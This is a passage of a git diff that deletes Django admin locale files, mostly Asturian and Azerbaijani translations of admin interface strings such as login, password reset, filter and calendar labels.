%(cnt)s selected" -msgstr[0] "%(sel)s de %(cnt)s esbilláu" -msgstr[1] "%(sel)s de %(cnt)s esbillaos" - -msgid "" -"You have unsaved changes on individual editable fields. If you run an " -"action, your unsaved changes will be lost." -msgstr "" - -msgid "" -"You have selected an action, but you haven't saved your changes to " -"individual fields yet. Please click OK to save. You'll need to re-run the " -"action." -msgstr "" -"Esbillesti una aición, pero entá nun guardesti les tos camudancies nos " -"campos individuales. Por favor, primi Aceutar pa guardar. Necesitarás " -"executar de nueves la aición" - -msgid "" -"You have selected an action, and you haven't made any changes on individual " -"fields. You're probably looking for the Go button rather than the Save " -"button." -msgstr "" -"Esbillesti una aición, y nun fixesti camudancia dala nos campos " -"individuales. Quiciabes teas guetando'l botón Dir en cuantes del botón " -"Guardar." - -#, javascript-format -msgid "Note: You are %s hour ahead of server time." -msgid_plural "Note: You are %s hours ahead of server time." -msgstr[0] "" -msgstr[1] "" - -#, javascript-format -msgid "Note: You are %s hour behind server time." -msgid_plural "Note: You are %s hours behind server time." -msgstr[0] "" -msgstr[1] "" - -msgid "Now" -msgstr "Agora" - -msgid "Choose a Time" -msgstr "" - -msgid "Choose a time" -msgstr "Escueyi una hora" - -msgid "Midnight" -msgstr "Media nueche" - -msgid "6 a.m." -msgstr "" - -msgid "Noon" -msgstr "Meudía" - -msgid "6 p.m." -msgstr "" - -msgid "Cancel" -msgstr "Encaboxar" - -msgid "Today" -msgstr "Güei" - -msgid "Choose a Date" -msgstr "" - -msgid "Yesterday" -msgstr "Ayeri" - -msgid "Tomorrow" -msgstr "Mañana" - -msgid "January" -msgstr "" - -msgid "February" -msgstr "" - -msgid "March" -msgstr "" - -msgid "April" -msgstr "" - -msgid "May" -msgstr "" - -msgid "June" -msgstr "" - -msgid "July" -msgstr "" - -msgid "August" -msgstr "" - -msgid "September" -msgstr "" - -msgid "October" -msgstr "" - -msgid "November" -msgstr "" - -msgid "December" -msgstr "" - -msgctxt "one letter Sunday" -msgid "S" -msgstr "" - -msgctxt "one letter Monday" -msgid "M" -msgstr "" - -msgctxt "one letter Tuesday" -msgid "T" -msgstr "" - -msgctxt "one letter Wednesday" -msgid "W" -msgstr "" - -msgctxt "one letter Thursday" -msgid "T" -msgstr "" - -msgctxt "one letter Friday" -msgid "F" -msgstr "" - -msgctxt "one letter Saturday" -msgid "S" -msgstr "" - -msgid "Show" -msgstr "Amosar" - -msgid "Hide" -msgstr "Anubrir" diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/az/LC_MESSAGES/django.mo b/backend/venv/Lib/site-packages/django/contrib/admin/locale/az/LC_MESSAGES/django.mo deleted file mode 100644 index 9be14651..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/locale/az/LC_MESSAGES/django.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/az/LC_MESSAGES/django.po b/backend/venv/Lib/site-packages/django/contrib/admin/locale/az/LC_MESSAGES/django.po deleted file mode 100644 index 932adb33..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/locale/az/LC_MESSAGES/django.po +++ /dev/null @@ -1,793 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Emin Mastizada , 2018,2020 -# Emin Mastizada , 2016 -# Konul Allahverdiyeva , 2016 -# Nicat Məmmədov , 2022 -# Nijat Mammadov, 2024-2025 -# Sevdimali , 2024 -# Zulfugar Ismayilzadeh , 2017 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2025-03-19 11:30-0500\n" -"PO-Revision-Date: 2025-04-01 15:04-0500\n" -"Last-Translator: Nijat Mammadov, 2024-2025\n" -"Language-Team: Azerbaijani (http://app.transifex.com/django/django/language/" -"az/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: az\n" -"Plural-Forms: nplurals=2; plural=(n != 1);\n" - -#, python-format -msgid "Delete selected %(verbose_name_plural)s" -msgstr "Seçilmiş \"%(verbose_name_plural)s\"ləri/ları sil" - -#, python-format -msgid "Successfully deleted %(count)d %(items)s." -msgstr "%(count)d %(items)s uğurla silindi." - -#, python-format -msgid "Cannot delete %(name)s" -msgstr "%(name)s silinə bilməz" - -msgid "Delete multiple objects" -msgstr "Birdən çox obyekt sil" - -msgid "Administration" -msgstr "Administrasiya" - -msgid "All" -msgstr "Hamısı" - -msgid "Yes" -msgstr "Hə" - -msgid "No" -msgstr "Yox" - -msgid "Unknown" -msgstr "Naməlum" - -msgid "Any date" -msgstr "İstənilən tarix" - -msgid "Today" -msgstr "Bu gün" - -msgid "Past 7 days" -msgstr "Son 7 gündə" - -msgid "This month" -msgstr "Bu ay" - -msgid "This year" -msgstr "Bu il" - -msgid "No date" -msgstr "Tarixi yoxdur" - -msgid "Has date" -msgstr "Tarixi mövcuddur" - -msgid "Empty" -msgstr "Boş" - -msgid "Not empty" -msgstr "Boş deyil" - -#, python-format -msgid "" -"Please enter the correct %(username)s and password for a staff account. Note " -"that both fields may be case-sensitive." -msgstr "" -"Lütfən, istifadəçi hesabı üçün doğru %(username)s və şifrə daxil edin. " -"Nəzərə alın ki, hər iki xana böyük-kiçik hərflərə həssasdırlar." - -msgid "Action:" -msgstr "Əməliyyat:" - -#, python-format -msgid "Add another %(verbose_name)s" -msgstr "Daha bir %(verbose_name)s əlavə et" - -msgid "Remove" -msgstr "Yığışdırılma" - -msgid "Addition" -msgstr "Əlavə olunma" - -msgid "Change" -msgstr "Dəyişiklik" - -msgid "Deletion" -msgstr "Silinmə" - -msgid "action time" -msgstr "əməliyyat vaxtı" - -msgid "user" -msgstr "istifadəçi" - -msgid "content type" -msgstr "məzmun növü" - -msgid "object id" -msgstr "obyekt id" - -#. Translators: 'repr' means representation -#. (https://docs.python.org/library/functions.html#repr) -msgid "object repr" -msgstr "obyekt repr" - -msgid "action flag" -msgstr "əməliyyat bayrağı" - -msgid "change message" -msgstr "dəyişmə mesajı" - -msgid "log entry" -msgstr "loq yazısı" - -msgid "log entries" -msgstr "loq yazıları" - -#, python-format -msgid "Added “%(object)s”." -msgstr "“%(object)s” əlavə edildi." - -#, python-format -msgid "Changed “%(object)s” — %(changes)s" -msgstr "“%(object)s” dəyişdirildi — %(changes)s" - -#, python-format -msgid "Deleted “%(object)s.”" -msgstr "“%(object)s” silindi." - -msgid "LogEntry Object" -msgstr "LogEntry obyekti" - -#, python-brace-format -msgid "Added {name} “{object}”." -msgstr "{name} “{object}” əlavə edildi." - -msgid "Added." -msgstr "Əlavə edildi." - -msgid "and" -msgstr "və" - -#, python-brace-format -msgid "Changed {fields} for {name} “{object}”." -msgstr "{name} “{object}” üçün {fields} dəyişdirildi." - -#, python-brace-format -msgid "Changed {fields}." -msgstr "{fields} dəyişdirildi." - -#, python-brace-format -msgid "Deleted {name} “{object}”." -msgstr "{name} “{object}” silindi." - -msgid "No fields changed." -msgstr "Heç bir sahə dəyişdirilmədi." - -msgid "None" -msgstr "Heç biri" - -msgid "Hold down “Control”, or “Command” on a Mac, to select more than one." -msgstr "" -"Birdən çox seçmək üçün “Control” və ya Mac üçün “Command” düyməsini basılı " -"tutun." - -msgid "Select this object for an action - {}" -msgstr "Əməliyyat üçün bu obyekti seçin - {}" - -#, python-brace-format -msgid "The {name} “{obj}” was added successfully." -msgstr "{name} “{obj}” uğurla əlavə edildi." - -msgid "You may edit it again below." -msgstr "Bunu aşağıda təkrar redaktə edə bilərsiz." - -#, python-brace-format -msgid "" -"The {name} “{obj}” was added successfully. You may add another {name} below." -msgstr "" -"{name} “{obj}” uğurla əlavə edildi. Aşağıdan başqa bir {name} əlavə edə " -"bilərsiz." - -#, python-brace-format -msgid "" -"The {name} “{obj}” was changed successfully. You may edit it again below." -msgstr "" -"{name} “{obj}” uğurla dəyişdirildi. Təkrar aşağıdan dəyişdirə bilərsiz." - -#, python-brace-format -msgid "" -"The {name} “{obj}” was changed successfully. You may add another {name} " -"below." -msgstr "" -"{name} “{obj}” uğurla dəyişdirildi. Aşağıdan başqa bir {name} əlavə edə " -"bilərsiz." - -#, python-brace-format -msgid "The {name} “{obj}” was changed successfully." -msgstr "{name} “{obj}” uğurla dəyişdirildi." - -msgid "" -"Items must be selected in order to perform actions on them. No items have " -"been changed." -msgstr "" -"Elementlər üzərində əməliyyat aparmaq üçün, siz onları seçməlisiniz. Heç bir " -"element dəyişmədi." - -msgid "No action selected." -msgstr "Heç bir əməliyyat seçilmədi." - -#, python-format -msgid "The %(name)s “%(obj)s” was deleted successfully." -msgstr "%(name)s “%(obj)s” uğurla silindi." - -#, python-format -msgid "%(name)s with ID “%(key)s” doesn’t exist. Perhaps it was deleted?" -msgstr "“%(key)s” ID nömrəli %(name)s mövcud deyil. Bəlkə silinib?" - -#, python-format -msgid "Add %s" -msgstr "%s əlavə et" - -#, python-format -msgid "Change %s" -msgstr "%s obyektini dəyiş" - -#, python-format -msgid "View %s" -msgstr "%s obyektinə bax" - -msgid "Database error" -msgstr "Verilənlər bazası xətası" - -#, python-format -msgid "%(count)s %(name)s was changed successfully." -msgid_plural "%(count)s %(name)s were changed successfully." -msgstr[0] "%(count)s %(name)s uğurlu dəyişdirildi." -msgstr[1] "%(count)s %(name)s uğurla dəyişdirildi." - -#, python-format -msgid "%(total_count)s selected" -msgid_plural "All %(total_count)s selected" -msgstr[0] "%(total_count)s seçili" -msgstr[1] "Bütün %(total_count)s seçildi" - -#, python-format -msgid "0 of %(cnt)s selected" -msgstr "%(cnt)s-dan/dən 0 seçilib" - -msgid "Delete" -msgstr "Sil" - -#, python-format -msgid "Change history: %s" -msgstr "Dəyişmə tarixi: %s" - -#. Translators: Model verbose name and instance -#. representation, suitable to be an item in a -#. list. -#, python-format -msgid "%(class_name)s %(instance)s" -msgstr "%(class_name)s %(instance)s" - -#, python-format -msgid "" -"Deleting %(class_name)s %(instance)s would require deleting the following " -"protected related objects: %(related_objects)s" -msgstr "" -"%(class_name)s %(instance)s silinməsi %(related_objects)s obyektlərinin də " -"silinməsinə gətirib çıxaracaq" - -msgid "Django site admin" -msgstr "Django sayt administratoru" - -msgid "Django administration" -msgstr "Django administrasiya" - -msgid "Site administration" -msgstr "Sayt administrasiyası" - -msgid "Log in" -msgstr "Daxil ol" - -#, python-format -msgid "%(app)s administration" -msgstr "%(app)s administrasiyası" - -msgid "Page not found" -msgstr "Səhifə tapılmadı" - -msgid "We’re sorry, but the requested page could not be found." -msgstr "Üzr istəyirik, amma sorğulanan səhifə tapılmadı." - -msgid "Home" -msgstr "Ana səhifə" - -msgid "Server error" -msgstr "Server xətası" - -msgid "Server error (500)" -msgstr "Server xətası (500)" - -msgid "Server Error (500)" -msgstr "Serverdə xəta (500)" - -msgid "" -"There’s been an error. It’s been reported to the site administrators via " -"email and should be fixed shortly. Thanks for your patience." -msgstr "" -"Xəta baş verdi. Problem sayt administratorlarına e-poçt vasitəsi ilə " -"bildirildi və qısa bir zamanda həll olunacaq. Anlayışınız üçün təşəkkür " -"edirik." - -msgid "Run the selected action" -msgstr "Seçilən əməliyyatı yerinə yetir" - -msgid "Go" -msgstr "İrəli" - -msgid "Click here to select the objects across all pages" -msgstr "Bütün səhifələr üzrə obyektləri seçmək üçün bura klikləyin" - -#, python-format -msgid "Select all %(total_count)s %(module_name)s" -msgstr "Hamısını seç (%(total_count)s %(module_name)s)" - -msgid "Clear selection" -msgstr "Seçimi təmizlə" - -msgid "Breadcrumbs" -msgstr "Menyu sətri" - -#, python-format -msgid "Models in the %(name)s application" -msgstr "%(name)s tətbiqetməsindəki modellər" - -msgid "Model name" -msgstr "" - -msgid "Add link" -msgstr "" - -msgid "Change or view list link" -msgstr "" - -msgid "Add" -msgstr "Əlavə et" - -msgid "View" -msgstr "Bax" - -msgid "You don’t have permission to view or edit anything." -msgstr "Heç nəyə baxmağa və ya dəyişməyə icazəniz yoxdur." - -msgid "After you’ve created a user, you’ll be able to edit more user options." -msgstr "" - -msgid "Error:" -msgstr "" - -msgid "Change password" -msgstr "Şifrəni dəyiş" - -msgid "Set password" -msgstr "Şifrə təyin et" - -msgid "Please correct the error below." -msgid_plural "Please correct the errors below." -msgstr[0] "Lütfən, aşağıdakı xətanı düzəldin." -msgstr[1] "Lütfən, aşağıdakı xətaları düzəldin." - -#, python-format -msgid "Enter a new password for the user %(username)s." -msgstr "%(username)s istifadəçisi üçün yeni şifrə daxil edin." - -msgid "" -"This action will enable password-based authentication for " -"this user." -msgstr "" -"Bu əməliyyat bu istifadəçi üçün şifrə əsaslı autentifikasiyanı aktiv " -"edəcək." - -msgid "Disable password-based authentication" -msgstr "Şifrə əsaslı autentifikasiyanı ləğv elə." - -msgid "Enable password-based authentication" -msgstr "Şifrə əsaslı autentifikasiyanı aktivləşdir." - -msgid "Skip to main content" -msgstr "Əsas məzmuna keç" - -msgid "Welcome," -msgstr "Xoş gördük," - -msgid "View site" -msgstr "Sayta bax" - -msgid "Documentation" -msgstr "Dokumentasiya" - -msgid "Log out" -msgstr "Çıx" - -#, python-format -msgid "Add %(name)s" -msgstr "%(name)s əlavə et" - -msgid "History" -msgstr "Tarix" - -msgid "View on site" -msgstr "Saytda bax" - -msgid "Filter" -msgstr "Süzgəc" - -msgid "Hide counts" -msgstr "Sayı gizlət" - -msgid "Show counts" -msgstr "Sayı göstər" - -msgid "Clear all filters" -msgstr "Bütün filterləri təmizlə" - -msgid "Remove from sorting" -msgstr "Sıralamadan çıxar" - -#, python-format -msgid "Sorting priority: %(priority_number)s" -msgstr "Sıralama prioriteti: %(priority_number)s" - -msgid "Toggle sorting" -msgstr "Sıralamanı çevir" - -msgid "Toggle theme (current theme: auto)" -msgstr "Görünüşü dəyiş (halhazırkı: avtomatik)" - -msgid "Toggle theme (current theme: light)" -msgstr "Görünüşü dəyiş (halhazırkı: aydın)" - -msgid "Toggle theme (current theme: dark)" -msgstr "Görünüşü dəyiş (halhazırkı: qaranlıq)" - -#, python-format -msgid "" -"Deleting the %(object_name)s '%(escaped_object)s' would result in deleting " -"related objects, but your account doesn't have permission to delete the " -"following types of objects:" -msgstr "" -"%(object_name)s \"%(escaped_object)s\" obyektini sildikdə onun bağlı olduğu " -"obyektlər də silinməlidir. Ancaq sizin hesabın aşağıdakı tip obyektləri " -"silməyə səlahiyyəti çatmır:" - -#, python-format -msgid "" -"Deleting the %(object_name)s '%(escaped_object)s' would require deleting the " -"following protected related objects:" -msgstr "" -"%(object_name)s \"%(escaped_object)s\" obyektini silmək üçün aşağıdakı " -"qorunan obyektlər də silinməlidir:" - -#, python-format -msgid "" -"Are you sure you want to delete the %(object_name)s \"%(escaped_object)s\"? " -"All of the following related items will be deleted:" -msgstr "" -"%(object_name)s \"%(escaped_object)s\" obyektini silməkdə əminsiniz? Ona " -"bağlı olan aşağıdakı obyektlər də silinəcək:" - -msgid "Objects" -msgstr "Obyektlər" - -msgid "Yes, I’m sure" -msgstr "Bəli, əminəm" - -msgid "No, take me back" -msgstr "Xeyr, geri qayıt" - -#, python-format -msgid "" -"Deleting the selected %(objects_name)s would result in deleting related " -"objects, but your account doesn't have permission to delete the following " -"types of objects:" -msgstr "" -"%(objects_name)s obyektini silmək üçün ona bağlı obyektlər də silinməlidir. " -"Ancaq sizin hesabınızın aşağıdakı tip obyektləri silmək səlahiyyətinə malik " -"deyil:" - -#, python-format -msgid "" -"Deleting the selected %(objects_name)s would require deleting the following " -"protected related objects:" -msgstr "" -"%(objects_name)s obyektini silmək üçün aşağıdakı qorunan obyektlər də " -"silinməlidir:" - -#, python-format -msgid "" -"Are you sure you want to delete the selected %(objects_name)s? All of the " -"following objects and their related items will be deleted:" -msgstr "" -"Seçdiyiniz %(objects_name)s obyektini silməkdə əminsiniz? Aşağıdakı bütün " -"obyektlər və ona bağlı digər obyektlər də silinəcək:" - -msgid "Delete?" -msgstr "Silinsin?" - -#, python-format -msgid " By %(filter_title)s " -msgstr "\"%(filter_title)s\" filtrına görə " - -msgid "Summary" -msgstr "İcmal" - -msgid "Recent actions" -msgstr "Son əməliyyatlar" - -msgid "My actions" -msgstr "Mənim əməliyyatlarım" - -msgid "None available" -msgstr "Heç nə yoxdur" - -msgid "Added:" -msgstr "Əlavə olunub:" - -msgid "Changed:" -msgstr "Dəyişdirilib:" - -msgid "Deleted:" -msgstr "Silinib:" - -msgid "Unknown content" -msgstr "Naməlum məzmun" - -msgid "" -"Something’s wrong with your database installation. Make sure the appropriate " -"database tables have been created, and make sure the database is readable by " -"the appropriate user." -msgstr "" -"Verilənlər bazanızın quraşdırılması ilə bağlı problem var. Müvafiq " -"cədvəllərinin yaradıldığından və verilənlər bazasının müvafiq istifadəçi " -"tərəfindən oxuna biləcəyindən əmin olun." - -#, python-format -msgid "" -"You are authenticated as %(username)s, but are not authorized to access this " -"page. Would you like to login to a different account?" -msgstr "" -"%(username)s olaraq daxil olmusunuz, amma bu səhifəyə icazəniz yoxdur. Başqa " -"bir hesaba daxil olmaq istərdiniz?" - -msgid "Forgotten your login credentials?" -msgstr "" - -msgid "Toggle navigation" -msgstr "Naviqasiyanı dəyiş" - -msgid "Sidebar" -msgstr "Yan panel" - -msgid "Start typing to filter…" -msgstr "Filterləmək üçün yazın..." - -msgid "Filter navigation items" -msgstr "Naviqasiya elementlərini filterlə" - -msgid "Date/time" -msgstr "Tarix/vaxt" - -msgid "User" -msgstr "İstifadəçi" - -msgid "Action" -msgstr "Əməliyyat" - -msgid "entry" -msgid_plural "entries" -msgstr[0] "daxiletmə" -msgstr[1] "daxiletmələr" - -msgid "" -"This object doesn’t have a change history. It probably wasn’t added via this " -"admin site." -msgstr "" -"Bu obyektin dəyişiklik tarixçəsi yoxdur. Yəqin ki, bu admin saytı vasitəsilə " -"əlavə olunmayıb." - -msgid "Show all" -msgstr "Hamısını göstər" - -msgid "Save" -msgstr "Yadda saxla" - -msgid "Popup closing…" -msgstr "Qəfil pəncərə qapadılır…" - -msgid "Search" -msgstr "Axtar" - -#, python-format -msgid "%(counter)s result" -msgid_plural "%(counter)s results" -msgstr[0] "%(counter)s nəticə" -msgstr[1] "%(counter)s nəticə" - -#, python-format -msgid "%(full_result_count)s total" -msgstr "Hamısı birlikdə %(full_result_count)s" - -msgid "Save as new" -msgstr "Yenisi kimi yadda saxla" - -msgid "Save and add another" -msgstr "Yadda saxla və yenisini əlavə et" - -msgid "Save and continue editing" -msgstr "Yadda saxla və redaktəyə davam et" - -msgid "Save and view" -msgstr "Yadda saxla və bax" - -msgid "Close" -msgstr "Bağla" - -#, python-format -msgid "Change selected %(model)s" -msgstr "Seçilmiş %(model)s dəyişdir" - -#, python-format -msgid "Add another %(model)s" -msgstr "Başqa %(model)s əlavə et" - -#, python-format -msgid "Delete selected %(model)s" -msgstr "Seçilmiş %(model)s sil" - -#, python-format -msgid "View selected %(model)s" -msgstr "Bax: seçilmiş %(model)s " - -msgid "Thanks for spending some quality time with the web site today." -msgstr "Bu gün veb saytla keyfiyyətli vaxt keçirdiyiniz üçün təşəkkür edirik." - -msgid "Log in again" -msgstr "Yenidən daxil ol" - -msgid "Password change" -msgstr "Şifrəni dəyişmək" - -msgid "Your password was changed." -msgstr "Sizin şifrəniz dəyişdirildi." - -msgid "" -"Please enter your old password, for security’s sake, and then enter your new " -"password twice so we can verify you typed it in correctly." -msgstr "" -"Zəhmət olmasa təhlükəsizlik naminə köhnə şifrənizi daxil edin və sonra yeni " -"şifrənizi iki dəfə daxil edin ki, düzgün daxil yazdığınızı yoxlaya bilək." - -msgid "Change my password" -msgstr "Şifrəmi dəyiş" - -msgid "Password reset" -msgstr "Şifrənin sıfırlanması" - -msgid "Your password has been set. You may go ahead and log in now." -msgstr "Yeni şifrə artıq qüvvədədir. Yenidən daxil ola bilərsiniz." - -msgid "Password reset confirmation" -msgstr "Şifrə sıfırlanmasının təsdiqi" - -msgid "" -"Please enter your new password twice so we can verify you typed it in " -"correctly." -msgstr "Yeni şifrəni iki dəfə daxil edin ki, səhv etmədiyinizə əmin olaq." - -msgid "New password:" -msgstr "Yeni şifrə:" - -msgid "Confirm password:" -msgstr "Yeni şifrə (bir daha):" - -msgid "" -"The password reset link was invalid, possibly because it has already been " -"used. Please request a new password reset." -msgstr "" -"Şifrənin sıfırlanması üçün olan keçid, yəqin ki, artıq istifadə olunub. " -"Şifrəni sıfırlamaq üçün yenə müraciət edin." - -msgid "" -"We’ve emailed you instructions for setting your password, if an account " -"exists with the email you entered. You should receive them shortly." -msgstr "" -"Şifrəni təyin etmək üçün lazım olan addımlar sizə göndərildi (əgər bu e-poçt " -"ünvanı ilə hesab varsa təbii ki). Elektron məktub qısa bir müddət ərzində " -"sizə çatacaq." - -msgid "" -"If you don’t receive an email, please make sure you’ve entered the address " -"you registered with, and check your spam folder." -msgstr "" -"E-poçt gəlməsə, qeydiyyatdan keçdiyiniz e-poçt ünvanını doğru daxil " -"etdiyinizə əmin olun və spam qovluğunuzu yoxlayın." - -#, python-format -msgid "" -"You're receiving this email because you requested a password reset for your " -"user account at %(site_name)s." -msgstr "" -"%(site_name)s saytında şifrəni yeniləmək istədiyinizə görə bu məktubu " -"göndərdik." - -msgid "Please go to the following page and choose a new password:" -msgstr "Növbəti səhifəyə keçid alın və yeni şifrəni seçin:" - -msgid "In case you’ve forgotten, you are:" -msgstr "" - -msgid "Thanks for using our site!" -msgstr "Bizim saytdan istifadə etdiyiniz üçün təşəkkür edirik!" - -#, python-format -msgid "The %(site_name)s team" -msgstr "%(site_name)s komandası" - -msgid "" -"Forgotten your password? Enter your email address below, and we’ll email " -"instructions for setting a new one." -msgstr "" -"Şifrəni unutmusuz? Epoçt ünvanınızı daxil edin və biz sizə yeni şifrə təyin " -"etmək üçün nə etmək lazım olduğunu göndərəcəyik." - -msgid "Email address:" -msgstr "E-poçt:" - -msgid "Reset my password" -msgstr "Şifrəmi sıfırla" - -msgid "Select all objects on this page for an action" -msgstr "Əməliyyat üçün bu səhifədəki bütün obyektləri seçin" - -msgid "All dates" -msgstr "Bütün tarixlərdə" - -#, python-format -msgid "Select %s" -msgstr "%s seç" - -#, python-format -msgid "Select %s to change" -msgstr "%s dəyişmək üçün seç" - -#, python-format -msgid "Select %s to view" -msgstr "Görmək üçün %s seçin" - -msgid "Date:" -msgstr "Tarix:" - -msgid "Time:" -msgstr "Vaxt:" - -msgid "Lookup" -msgstr "Sorğu" - -msgid "Currently:" -msgstr "Hazırda:" - -msgid "Change:" -msgstr "Dəyişdir:" diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/az/LC_MESSAGES/djangojs.mo b/backend/venv/Lib/site-packages/django/contrib/admin/locale/az/LC_MESSAGES/djangojs.mo deleted file mode 100644 index 0fd084aa..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/locale/az/LC_MESSAGES/djangojs.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/az/LC_MESSAGES/djangojs.po b/backend/venv/Lib/site-packages/django/contrib/admin/locale/az/LC_MESSAGES/djangojs.po deleted file mode 100644 index 574497a2..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/locale/az/LC_MESSAGES/djangojs.po +++ /dev/null @@ -1,314 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Ali Ismayilov , 2011-2012 -# Emin Mastizada , 2016,2020 -# Emin Mastizada , 2016 -# Nicat Məmmədov , 2022 -# Nijat Mammadov, 2024 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2025-03-25 15:04-0500\n" -"PO-Revision-Date: 2025-04-01 15:04-0500\n" -"Last-Translator: Nijat Mammadov, 2024\n" -"Language-Team: Azerbaijani (http://app.transifex.com/django/django/language/" -"az/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: az\n" -"Plural-Forms: nplurals=2; plural=(n != 1);\n" - -#, javascript-format -msgid "Available %s" -msgstr "Mövcud %s" - -#, javascript-format -msgid "" -"Choose %s by selecting them and then select the \"Choose\" arrow button." -msgstr "" - -#, javascript-format -msgid "Type into this box to filter down the list of available %s." -msgstr "Bu xanaya yazmaqla mövcud %s siyahısını filtrləyə bilərsiniz." - -msgid "Filter" -msgstr "Süzgəc" - -#, javascript-format -msgid "Choose all %s" -msgstr "" - -#, javascript-format -msgid "Choose selected %s" -msgstr "" - -#, javascript-format -msgid "Remove selected %s" -msgstr "" - -#, javascript-format -msgid "Chosen %s" -msgstr "Seçilmiş %s" - -#, javascript-format -msgid "" -"Remove %s by selecting them and then select the \"Remove\" arrow button." -msgstr "" - -#, javascript-format -msgid "Type into this box to filter down the list of selected %s." -msgstr "Seçilmiş %s siyahısını filtrləmək üçün bu xanaya yazın" - -msgid "(click to clear)" -msgstr "" - -#, javascript-format -msgid "Remove all %s" -msgstr "" - -#, javascript-format -msgid "%s selected option not visible" -msgid_plural "%s selected options not visible" -msgstr[0] "%s seçilmiş seçim görünmür" -msgstr[1] "%s seçilmiş seçimlər görünmür" - -msgid "%(sel)s of %(cnt)s selected" -msgid_plural "%(sel)s of %(cnt)s selected" -msgstr[0] "%(sel)s / %(cnt)s seçilib" -msgstr[1] "%(cnt)s-dan/dən %(sel)s ədədi seçilib" - -msgid "" -"You have unsaved changes on individual editable fields. If you run an " -"action, your unsaved changes will be lost." -msgstr "" -"Fərdi düzəliş oluna bilən xanalarda yadda saxlanılmamış dəyişiklikləriniz " -"var. Əgər əməliyyatı icra etsəniz, dəyişikliklər əldən gedəcək." - -msgid "" -"You have selected an action, but you haven’t saved your changes to " -"individual fields yet. Please click OK to save. You’ll need to re-run the " -"action." -msgstr "" -"Əməliyyat seçmisiniz, amma fərdi xanalardakı dəyişiklikləriniz hələ də yadda " -"saxlanılmayıb. Saxlamaq üçün lütfən Tamam düyməsinə klikləyin. Əməliyyatı " -"təkrar icra etməli olacaqsınız." - -msgid "" -"You have selected an action, and you haven’t made any changes on individual " -"fields. You’re probably looking for the Go button rather than the Save " -"button." -msgstr "" -"Əməliyyat seçmisiniz və fərdi xanalarda heç bir dəyişiklik etməmisiniz. " -"Böyük ehtimal Saxla düyməsi yerinə İrəli düyməsinə ehtiyyacınız var." - -msgid "Now" -msgstr "İndi" - -msgid "Midnight" -msgstr "Gecə yarısı" - -msgid "6 a.m." -msgstr "Səhər 6" - -msgid "Noon" -msgstr "Günorta" - -msgid "6 p.m." -msgstr "Axşam 6" - -#, javascript-format -msgid "Note: You are %s hour ahead of server time." -msgid_plural "Note: You are %s hours ahead of server time." -msgstr[0] "Diqqət: Server vaxtından %s saat irəlidəsiniz." -msgstr[1] "Qeyd: Server vaxtından %s saat irəlidəsiniz." - -#, javascript-format -msgid "Note: You are %s hour behind server time." -msgid_plural "Note: You are %s hours behind server time." -msgstr[0] "Diqqət: Server vaxtından %s saat geridəsiniz." -msgstr[1] "Qeyd: Server vaxtından %s saat geridəsiniz." - -msgid "Choose a Time" -msgstr "Vaxt Seçin" - -msgid "Choose a time" -msgstr "Vaxtı seçin" - -msgid "Cancel" -msgstr "İmtina" - -msgid "Today" -msgstr "Bu gün" - -msgid "Choose a Date" -msgstr "Tarix Seçin" - -msgid "Yesterday" -msgstr "Dünən" - -msgid "Tomorrow" -msgstr "Sabah" - -msgid "January" -msgstr "Yanvar" - -msgid "February" -msgstr "Fevral" - -msgid "March" -msgstr "Mart" - -msgid "April" -msgstr "Aprel" - -msgid "May" -msgstr "May" - -msgid "June" -msgstr "İyun" - -msgid "July" -msgstr "İyul" - -msgid "August" -msgstr "Avqust" - -msgid "September" -msgstr "Sentyabr" - -msgid "October" -msgstr "Oktyabr" - -msgid "November" -msgstr "Noyabr" - -msgid "December" -msgstr "Dekabr" - -msgctxt "abbrev. month January" -msgid "Jan" -msgstr "Yan" - -msgctxt "abbrev. month February" -msgid "Feb" -msgstr "Fev" - -msgctxt "abbrev. month March" -msgid "Mar" -msgstr "Mar" - -msgctxt "abbrev. month April" -msgid "Apr" -msgstr "Apr" - -msgctxt "abbrev. month May" -msgid "May" -msgstr "May" - -msgctxt "abbrev. month June" -msgid "Jun" -msgstr "İyn" - -msgctxt "abbrev. month July" -msgid "Jul" -msgstr "İyl" - -msgctxt "abbrev. month August" -msgid "Aug" -msgstr "Avq" - -msgctxt "abbrev. month September" -msgid "Sep" -msgstr "Sen" - -msgctxt "abbrev. month October" -msgid "Oct" -msgstr "Okt" - -msgctxt "abbrev. month November" -msgid "Nov" -msgstr "Noy" - -msgctxt "abbrev. month December" -msgid "Dec" -msgstr "Dek" - -msgid "Sunday" -msgstr "Bazar" - -msgid "Monday" -msgstr "Bazar ertəsi" - -msgid "Tuesday" -msgstr "Çərşənbə axşamı" - -msgid "Wednesday" -msgstr "Çərşənbə" - -msgid "Thursday" -msgstr "Cümə axşamı" - -msgid "Friday" -msgstr "Cümə" - -msgid "Saturday" -msgstr "Şənbə" - -msgctxt "abbrev. day Sunday" -msgid "Sun" -msgstr "Baz" - -msgctxt "abbrev. day Monday" -msgid "Mon" -msgstr "B.er" - -msgctxt "abbrev. day Tuesday" -msgid "Tue" -msgstr "Ç.ax" - -msgctxt "abbrev. day Wednesday" -msgid "Wed" -msgstr "Çər" - -msgctxt "abbrev. day Thursday" -msgid "Thur" -msgstr "C.ax" - -msgctxt "abbrev. day Friday" -msgid "Fri" -msgstr "Cüm" - -msgctxt "abbrev. day Saturday" -msgid "Sat" -msgstr "Şən" - -msgctxt "one letter Sunday" -msgid "S" -msgstr "B" - -msgctxt "one letter Monday" -msgid "M" -msgstr "B.e" - -msgctxt "one letter Tuesday" -msgid "T" -msgstr "Ç.a" - -msgctxt "one letter Wednesday" -msgid "W" 